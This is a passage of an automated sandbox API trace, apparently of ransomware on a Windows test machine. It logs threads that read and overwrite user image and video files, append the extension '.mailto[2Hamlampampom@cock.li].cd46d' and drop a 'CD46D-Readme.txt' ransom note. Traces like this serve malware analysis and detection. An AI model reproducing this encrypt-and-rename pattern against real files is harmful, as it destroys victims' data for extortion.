0x6a8f1acd [0050.601] RtlRandomEx (in: Seed=0xf9cfbc8 | out: Seed=0xf9cfbc8) returned 0x4680ecb8 [0050.601] RtlRandomEx (in: Seed=0xf9cfbc8 | out: Seed=0xf9cfbc8) returned 0x6c2fd2c3 [0050.613] ReadFile (in: hFile=0xb68, lpBuffer=0x12bd98a0, nNumberOfBytesToRead=0x54df, lpNumberOfBytesRead=0xf9cfbb8, lpOverlapped=0x0 | out: lpBuffer=0x12bd98a0*, lpNumberOfBytesRead=0xf9cfbb8*=0x54df, lpOverlapped=0x0) returned 1 [0050.614] SetFilePointerEx (in: hFile=0xb68, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0050.614] WriteFile (in: hFile=0xb68, lpBuffer=0x12be60a8*, nNumberOfBytesToWrite=0x54df, lpNumberOfBytesWritten=0xf9cfbb4, lpOverlapped=0x0 | out: lpBuffer=0x12be60a8*, lpNumberOfBytesWritten=0xf9cfbb4*=0x54df, lpOverlapped=0x0) returned 1 [0053.362] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x97ced78 [0053.362] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x97ceda0 [0053.363] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x97ceda0) returned 1 [0053.363] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x12be60a8) returned 1 [0053.363] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x12bd98a0) returned 1 [0053.363] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x43ac90) returned 1 [0053.363] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x402be8) returned 1 [0053.363] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x1d) returned 0x97ceda0 [0053.363] SetFilePointerEx (in: hFile=0xb68, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0053.363] WriteFile (in: hFile=0xb68, lpBuffer=0x5e47e08*, nNumberOfBytesToWrite=0x101, lpNumberOfBytesWritten=0xf9cfc1c, lpOverlapped=0x0 | out: lpBuffer=0x5e47e08*, lpNumberOfBytesWritten=0xf9cfc1c*=0x101, lpOverlapped=0x0) returned 1 [0053.581] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5e47e08) returned 1 [0053.581] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x97cedc8) returned 1 [0053.581] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x97cedf0) returned 1 [0053.581] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x97ceda0) returned 1 [0053.581] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x97ced78) returned 1 [0053.582] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4601e8) returned 1 [0053.582] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x460238) returned 1 [0053.582] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x460260) returned 1 [0053.582] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xb8) returned 0x5e028a0 [0053.582] wcscpy (in: _Dest=0x5e028a0, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\WaFGTaB5\\kj5p.jpg" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\WaFGTaB5\\kj5p.jpg") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\WaFGTaB5\\kj5p.jpg" [0053.582] wcscat (in: _Dest=0x5e028a0, _Source=".mailto[2Hamlampampom@cock.li].cd46d" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\WaFGTaB5\\kj5p.jpg.mailto[2Hamlampampom@cock.li].cd46d") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\WaFGTaB5\\kj5p.jpg.mailto[2Hamlampampom@cock.li].cd46d" [0053.582] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\WaFGTaB5\\kj5p.jpg.mailto[2Hamlampampom@cock.li].cd46d", NtPathName=0xf9cfbd4, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\WaFGTaB5\\kj5p.jpg.mailto[2Hamlampampom@cock.li].cd46d", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0053.582] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xce) returned 0x40d898 [0054.706] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x40d898) returned 1 [0054.706] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x49f798) returned 1 [0054.706] NtQueryInformationFile (in: FileHandle=0xb68, IoStatusBlock=0xf9cfbe0, FileInformation=0xf9cfbb8, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0xf9cfbe0, FileInformation=0xf9cfbb8) returned 0x0 [0054.706] NtSetInformationFile (FileHandle=0xb68, IoStatusBlock=0xf9cfbe0, FileInformation=0xf9cfbb8, Length=0x28, FileInformationClass=0x4) returned 0x0 [0054.713] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5e028a0) returned 1 [0054.713] FlushFileBuffers (hFile=0xb68) returned 1 [0054.714] CloseHandle (hObject=0xb68) returned 1 [0054.715] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x82) returned 0x12e29c58 [0054.715] wcscpy (in: _Dest=0x12e29c58, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\WaFGTaB5\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\WaFGTaB5\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\WaFGTaB5\\" [0054.715] wcscat (in: _Dest=0x12e29c58, _Source="CD46D-Readme.txt" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\WaFGTaB5\\CD46D-Readme.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\WaFGTaB5\\CD46D-Readme.txt" [0054.715] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\WaFGTaB5\\CD46D-Readme.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\wafgtab5\\cd46d-readme.txt")) returned 0xffffffff [0054.719] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\WaFGTaB5\\CD46D-Readme.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\wafgtab5\\cd46d-readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x824 [0056.130] WriteFile (in: hFile=0x824, lpBuffer=0x419f90*, nNumberOfBytesToWrite=0x6fd, lpNumberOfBytesWritten=0xf9cfbdc, lpOverlapped=0x0 | out: lpBuffer=0x419f90*, lpNumberOfBytesWritten=0xf9cfbdc*=0x6fd, lpOverlapped=0x0) returned 1 [0056.923] CloseHandle (hObject=0x824) returned 1 [0065.316] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x12e29c58) returned 1 [0065.316] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x43b3c0) returned 1 Thread: id = 633 os_tid = 0x874 [0050.615] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\WaFGTaB5\\kJ9ukSwcL y52h_OVt.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\wafgtab5\\kj9ukswcl y52h_ovt.png")) returned 0x20 [0050.615] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\WaFGTaB5\\kJ9ukSwcL y52h_OVt.png", dwFileAttributes=0x20) returned 1 [0050.615] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\WaFGTaB5\\kJ9ukSwcL y52h_OVt.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\wafgtab5\\kj9ukswcl y52h_ovt.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xb6c [0050.615] GetFileSizeEx (in: hFile=0xb6c, lpFileSize=0xfa9f884 | out: lpFileSize=0xfa9f884*=35533) returned 1 [0050.615] SetFilePointerEx (in: hFile=0xb6c, liDistanceToMove=0x8ac9, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0050.615] ReadFile (in: hFile=0xb6c, lpBuffer=0xfa9f808, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0xfa9f804, lpOverlapped=0x0 | out: lpBuffer=0xfa9f808*, lpNumberOfBytesRead=0xfa9f804*=0x4, lpOverlapped=0x0) returned 1 [0050.616] SetFilePointerEx (in: hFile=0xb6c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0050.616] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x460170 [0050.616] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x460210 [0050.616] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x460288 [0050.616] NtQuerySystemTime (in: CurrentTime=0xfa9f7e4 | out: CurrentTime=0xfa9f7e4*=132174898145988000) returned 0x0 [0050.616] RtlRandomEx (in: Seed=0xfa9f7f0 | out: Seed=0xfa9f7f0) returned 0x631d2319 [0050.616] RtlRandomEx (in: Seed=0xfa9f7f0 | out: Seed=0xfa9f7f0) returned 0xeaf1932 [0050.616] RtlRandomEx (in: Seed=0xfa9f7f0 | out: Seed=0xfa9f7f0) returned 0x22416707 [0050.616] RtlRandomEx (in: Seed=0xfa9f7f0 | out: Seed=0xfa9f7f0) returned 0x4f7462e [0050.616] RtlRandomEx (in: Seed=0xfa9f7f0 | out: Seed=0xfa9f7f0) returned 0x4210a6e [0050.616] RtlRandomEx (in: Seed=0xfa9f7f0 | out: Seed=0xfa9f7f0) returned 0x76117a4c [0050.616] RtlRandomEx (in: Seed=0xfa9f7f0 | out: Seed=0xfa9f7f0) returned 0x3541d183 [0050.616] RtlRandomEx (in: Seed=0xfa9f7f0 | out: Seed=0xfa9f7f0) returned 0x5c0e8801 [0050.616] RtlRandomEx (in: Seed=0xfa9f7f0 | out: Seed=0xfa9f7f0) returned 0x1670728f [0050.616] RtlRandomEx (in: Seed=0xfa9f7f0 | out: Seed=0xfa9f7f0) returned 0x674d2e4e [0050.617] RtlRandomEx (in: Seed=0xfa9f7f0 | out: Seed=0xfa9f7f0) returned 0x20c578ec [0050.617] RtlRandomEx (in: Seed=0xfa9f7f0 | out: Seed=0xfa9f7f0) returned 0x29b8c4b9 [0050.617] RtlRandomEx (in: Seed=0xfa9f7f0 | out: Seed=0xfa9f7f0) returned 0x2ac3b013 [0050.617] RtlRandomEx (in: Seed=0xfa9f7f0 | out: Seed=0xfa9f7f0) returned 0x2e2af2c3 [0050.617] RtlRandomEx (in: Seed=0xfa9f7f0 | out: Seed=0xfa9f7f0) returned 0x5bb85f69 [0050.617] RtlRandomEx (in: Seed=0xfa9f7f0 | out: Seed=0xfa9f7f0) returned 0x56a9380b [0050.617] RtlRandomEx (in: Seed=0xfa9f7f0 | out: Seed=0xfa9f7f0) returned 0x5b8c5b52 [0050.617] RtlRandomEx (in: Seed=0xfa9f7f0 | out: Seed=0xfa9f7f0) returned 0x2571ec54 [0050.617] RtlRandomEx (in: Seed=0xfa9f7f0 | out: Seed=0xfa9f7f0) returned 0x45a5552 [0050.617] RtlRandomEx (in: Seed=0xfa9f7f0 | out: Seed=0xfa9f7f0) returned 0x766413e9 [0050.617] RtlRandomEx (in: Seed=0xfa9f7f0 | out: Seed=0xfa9f7f0) returned 0x6a22a25 [0050.617] RtlRandomEx (in: Seed=0xfa9f7f0 | out: Seed=0xfa9f7f0) returned 0x5ec8ef39 [0050.617] RtlRandomEx (in: Seed=0xfa9f7f0 | out: Seed=0xfa9f7f0) returned 0x1f01d4b [0050.617] RtlRandomEx (in: Seed=0xfa9f7f0 | out: Seed=0xfa9f7f0) returned 0x7870e402 [0050.617] RtlRandomEx (in: Seed=0xfa9f7f0 | out: Seed=0xfa9f7f0) returned 0x4f173420 [0050.617] RtlRandomEx (in: Seed=0xfa9f7f0 | out: Seed=0xfa9f7f0) returned 0x415f4486 [0050.617] RtlRandomEx (in: Seed=0xfa9f7f0 | out: Seed=0xfa9f7f0) returned 0x1c2f4680 [0050.617] RtlRandomEx (in: Seed=0xfa9f7f0 | out: Seed=0xfa9f7f0) returned 0x7e83ef79 [0050.617] RtlRandomEx (in: Seed=0xfa9f7f0 | out: Seed=0xfa9f7f0) returned 0x253ffcf [0050.617] RtlRandomEx (in: Seed=0xfa9f7f0 | out: Seed=0xfa9f7f0) returned 0x653d5ae0 [0050.617] RtlRandomEx (in: Seed=0xfa9f7f0 | out: Seed=0xfa9f7f0) returned 0x1960dc60 [0050.617] RtlRandomEx (in: Seed=0xfa9f7f0 | out: Seed=0xfa9f7f0) returned 0x56180335 [0050.629] ReadFile (in: hFile=0xb6c, lpBuffer=0x12bf28b0, nNumberOfBytesToRead=0x8acd, lpNumberOfBytesRead=0xfa9f7e0, lpOverlapped=0x0 | out: lpBuffer=0x12bf28b0*, lpNumberOfBytesRead=0xfa9f7e0*=0x8acd, lpOverlapped=0x0) returned 1 [0050.630] SetFilePointerEx (in: hFile=0xb6c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0050.631] WriteFile (in: hFile=0xb6c, lpBuffer=0x12bff0b8*, nNumberOfBytesToWrite=0x8acd, lpNumberOfBytesWritten=0xfa9f7dc, lpOverlapped=0x0 | out: lpBuffer=0x12bff0b8*, lpNumberOfBytesWritten=0xfa9f7dc*=0x8acd, lpOverlapped=0x0) returned 1 [0053.365] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x97cee18 [0053.365] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x97cee40 [0053.365] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x97cee40) returned 1 [0053.365] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x12bff0b8) returned 1 [0053.365] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x12bf28b0) returned 1 [0053.365] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x43ad08) returned 1 [0053.365] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x44baa8) returned 1 [0053.365] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x39) returned 0x44baa8 [0053.365] SetFilePointerEx (in: hFile=0xb6c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0053.365] WriteFile (in: hFile=0xb6c, lpBuffer=0x95d0848*, nNumberOfBytesToWrite=0x11d, lpNumberOfBytesWritten=0xfa9f844, lpOverlapped=0x0 | out: lpBuffer=0x95d0848*, lpNumberOfBytesWritten=0xfa9f844*=0x11d, lpOverlapped=0x0) returned 1 [0053.583] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x95d0848) returned 1 [0053.583] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x44c5a0) returned 1 [0053.583] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x97cee40) returned 1 [0053.583] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x44baa8) returned 1 [0053.583] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x97cee18) returned 1 [0053.583] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x460210) returned 1 [0053.583] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4602b0) returned 1 [0053.583] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4602d8) returned 1 [0053.583] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xd4) returned 0x95d0848 [0053.583] wcscpy (in: _Dest=0x95d0848, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\WaFGTaB5\\kJ9ukSwcL y52h_OVt.png" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\WaFGTaB5\\kJ9ukSwcL y52h_OVt.png") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\WaFGTaB5\\kJ9ukSwcL y52h_OVt.png" [0053.583] wcscat (in: _Dest=0x95d0848, _Source=".mailto[2Hamlampampom@cock.li].cd46d" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\WaFGTaB5\\kJ9ukSwcL y52h_OVt.png.mailto[2Hamlampampom@cock.li].cd46d") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\WaFGTaB5\\kJ9ukSwcL y52h_OVt.png.mailto[2Hamlampampom@cock.li].cd46d" [0053.583] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\WaFGTaB5\\kJ9ukSwcL y52h_OVt.png.mailto[2Hamlampampom@cock.li].cd46d", NtPathName=0xfa9f7fc, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\WaFGTaB5\\kJ9ukSwcL y52h_OVt.png.mailto[2Hamlampampom@cock.li].cd46d", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0053.583] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xea) returned 0x5e47bf8 [0054.710] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5e47bf8) returned 1 [0054.710] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x49f9c0) returned 1 [0054.710] NtQueryInformationFile (in: FileHandle=0xb6c, IoStatusBlock=0xfa9f808, FileInformation=0xfa9f7e0, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0xfa9f808, FileInformation=0xfa9f7e0) returned 0x0 [0054.710] NtSetInformationFile (FileHandle=0xb6c, IoStatusBlock=0xfa9f808, FileInformation=0xfa9f7e0, Length=0x28, FileInformationClass=0x4) returned 0x0 [0054.716] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x95d0848) returned 1 [0054.716] FlushFileBuffers (hFile=0xb6c) returned 1 [0054.718] CloseHandle (hObject=0xb6c) returned 1 [0054.718] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x82) returned 0x12e29ce8 [0054.718] wcscpy (in: _Dest=0x12e29ce8, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\WaFGTaB5\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\WaFGTaB5\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\WaFGTaB5\\" [0054.718] wcscat (in: _Dest=0x12e29ce8, _Source="CD46D-Readme.txt" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\WaFGTaB5\\CD46D-Readme.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\WaFGTaB5\\CD46D-Readme.txt" [0054.718] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\WaFGTaB5\\CD46D-Readme.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\wafgtab5\\cd46d-readme.txt")) returned 0xffffffff [0054.719] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\WaFGTaB5\\CD46D-Readme.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\wafgtab5\\cd46d-readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x828 [0056.131] WriteFile (in: hFile=0x828, lpBuffer=0x419f90*, nNumberOfBytesToWrite=0x6fd, lpNumberOfBytesWritten=0xfa9f804, lpOverlapped=0x0 | out: lpBuffer=0x419f90*, lpNumberOfBytesWritten=0xfa9f804*=0x6fd, lpOverlapped=0x0) returned 1 [0056.923] CloseHandle (hObject=0x828) Thread: id = 634 os_tid = 0x15c [0050.631] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\WaFGTaB5\\ndxxZYVQ.avi" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\wafgtab5\\ndxxzyvq.avi")) returned 0x20 [0050.631] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\WaFGTaB5\\ndxxZYVQ.avi", dwFileAttributes=0x20) returned 1 [0050.631] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\WaFGTaB5\\ndxxZYVQ.avi" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\wafgtab5\\ndxxzyvq.avi"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xb70 [0050.631] GetFileSizeEx (in: hFile=0xb70, lpFileSize=0xfb6fbdc | out: lpFileSize=0xfb6fbdc*=41810) returned 1 [0050.631] SetFilePointerEx (in: hFile=0xb70, liDistanceToMove=0xa34e, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0050.631] ReadFile (in: hFile=0xb70, lpBuffer=0xfb6fb60, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0xfb6fb5c, lpOverlapped=0x0 | out: lpBuffer=0xfb6fb60*, lpNumberOfBytesRead=0xfb6fb5c*=0x4, lpOverlapped=0x0) returned 1 [0050.632] SetFilePointerEx (in: hFile=0xb70, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0050.632] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x460170 [0050.632] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x460288 [0050.632] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x460300 [0050.632] NtQuerySystemTime (in: CurrentTime=0xfb6fb3c | out: CurrentTime=0xfb6fb3c*=132174898146144000) returned 0x0 [0050.632] RtlRandomEx (in: Seed=0xfb6fb48 | out: Seed=0xfb6fb48) returned 0x674ba120 [0050.632] RtlRandomEx (in: Seed=0xfb6fb48 | out: Seed=0xfb6fb48) returned 0x35ad4407 [0050.632] RtlRandomEx (in: Seed=0xfb6fb48 | out: Seed=0xfb6fb48) returned 0x23f9ba6e [0050.632] RtlRandomEx (in: Seed=0xfb6fb48 | out: Seed=0xfb6fb48) returned 0x4e9afb8f [0050.632] RtlRandomEx (in: Seed=0xfb6fb48 | out: Seed=0xfb6fb48) returned 0x80ff78f [0050.633] RtlRandomEx (in: Seed=0xfb6fb48 | out: Seed=0xfb6fb48) returned 0xd094a55 [0050.633] RtlRandomEx (in: Seed=0xfb6fb48 | out: Seed=0xfb6fb48) returned 0x4d2b4545 [0050.633] RtlRandomEx (in: Seed=0xfb6fb48 | out: Seed=0xfb6fb48) returned 0x5c80303f [0050.633] RtlRandomEx (in: Seed=0xfb6fb48 | out: Seed=0xfb6fb48) returned 0x103814e0 [0050.633] RtlRandomEx (in: Seed=0xfb6fb48 | out: Seed=0xfb6fb48) returned 0x6aa2c3f5 [0050.633] RtlRandomEx (in: Seed=0xfb6fb48 | out: Seed=0xfb6fb48) returned 0x544004e4 [0050.633] RtlRandomEx (in: Seed=0xfb6fb48 | out: Seed=0xfb6fb48) returned 0x35742ac8 [0050.633] RtlRandomEx (in: Seed=0xfb6fb48 | out: Seed=0xfb6fb48) returned 0x36cf0114 [0050.633] RtlRandomEx (in: Seed=0xfb6fb48 | out: Seed=0xfb6fb48) returned 0x4ba2d421 [0050.633] RtlRandomEx (in: Seed=0xfb6fb48 | out: Seed=0xfb6fb48) returned 0x66be86fe [0050.633] RtlRandomEx (in: Seed=0xfb6fb48 | out: Seed=0xfb6fb48) returned 0x3dae9fb9 [0050.633] RtlRandomEx (in: Seed=0xfb6fb48 | out: Seed=0xfb6fb48) returned 0x37b48c5d [0050.633] RtlRandomEx (in: Seed=0xfb6fb48 | out: Seed=0xfb6fb48) returned 0x544d804c [0050.633] RtlRandomEx (in: Seed=0xfb6fb48 | out: Seed=0xfb6fb48) returned 0x270629a3 [0050.633] RtlRandomEx (in: Seed=0xfb6fb48 | out: Seed=0xfb6fb48) returned 0x1bd4f642 [0050.633] RtlRandomEx (in: Seed=0xfb6fb48 | out: Seed=0xfb6fb48) returned 0x2cc9ef06 [0050.633] RtlRandomEx (in: Seed=0xfb6fb48 | out: Seed=0xfb6fb48) returned 0xb06af1c [0050.633] RtlRandomEx (in: Seed=0xfb6fb48 | out: Seed=0xfb6fb48) returned 0x3bb7f181 [0050.633] RtlRandomEx (in: Seed=0xfb6fb48 | out: Seed=0xfb6fb48) returned 0x79e2d136 [0050.633] RtlRandomEx (in: Seed=0xfb6fb48 | out: Seed=0xfb6fb48) returned 0xf68bc36 [0050.633] RtlRandomEx (in: Seed=0xfb6fb48 | out: Seed=0xfb6fb48) returned 0x479d9818 [0050.633] RtlRandomEx (in: Seed=0xfb6fb48 | out: Seed=0xfb6fb48) returned 0x989eaa3 [0050.633] RtlRandomEx (in: Seed=0xfb6fb48 | out: Seed=0xfb6fb48) returned 0x1e0c9a7b [0050.633] RtlRandomEx (in: Seed=0xfb6fb48 | out: Seed=0xfb6fb48) returned 0x128cfa60 [0050.633] RtlRandomEx (in: Seed=0xfb6fb48 | out: Seed=0xfb6fb48) returned 0x5ac6692e [0050.633] RtlRandomEx (in: Seed=0xfb6fb48 | out: Seed=0xfb6fb48) returned 0x7b9b27c1 [0050.633] RtlRandomEx (in: Seed=0xfb6fb48 | out: Seed=0xfb6fb48) returned 0x1657db4b [0050.645] ReadFile (in: hFile=0xb70, lpBuffer=0x12c0b8c0, nNumberOfBytesToRead=0xa352, lpNumberOfBytesRead=0xfb6fb38, lpOverlapped=0x0 | out: lpBuffer=0x12c0b8c0*, lpNumberOfBytesRead=0xfb6fb38*=0xa352, lpOverlapped=0x0) returned 1 [0050.647] SetFilePointerEx (in: hFile=0xb70, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0050.647] WriteFile (in: hFile=0xb70, lpBuffer=0x12c180c8*, nNumberOfBytesToWrite=0xa352, lpNumberOfBytesWritten=0xfb6fb34, lpOverlapped=0x0 | out: lpBuffer=0x12c180c8*, lpNumberOfBytesWritten=0xfb6fb34*=0xa352, lpOverlapped=0x0) returned 1 [0053.367] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x97cee68 [0053.367] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x97cee90 [0053.367] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x97cee90) returned 1 [0053.367] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x12c180c8) returned 1 [0053.367] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x12c0b8c0) returned 1 [0053.367] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x43ad80) returned 1 [0053.367] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x44baf0) returned 1 [0053.367] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x25) returned 0x97ce2b0 [0053.367] SetFilePointerEx (in: hFile=0xb70, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0053.367] WriteFile (in: hFile=0xb70, lpBuffer=0x95d0970*, nNumberOfBytesToWrite=0x109, lpNumberOfBytesWritten=0xfb6fb9c, lpOverlapped=0x0 | out: lpBuffer=0x95d0970*, lpNumberOfBytesWritten=0xfb6fb9c*=0x109, lpOverlapped=0x0) returned 1 [0053.584] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, 